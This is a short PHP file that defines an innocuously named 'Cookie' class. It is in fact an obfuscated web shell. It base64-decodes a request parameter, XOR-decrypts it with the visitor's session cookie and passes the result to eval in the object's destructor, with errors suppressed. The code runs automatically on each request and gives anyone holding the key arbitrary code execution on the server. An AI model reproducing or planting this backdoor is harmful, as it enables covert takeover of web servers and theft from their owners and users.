<?php
class Cookie
{
    function __construct()
    {
        $key = @$_COOKIE['PHPSESSID'];
        @$post = base64_decode($_REQUEST['test']);
        
        for ($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i] ^ $key[$i % 26];
        }
        
        return $post;
    }

    function __destruct()
    {
        return @eval($this->__construct());
    }
}

$check = new Cookie();
?>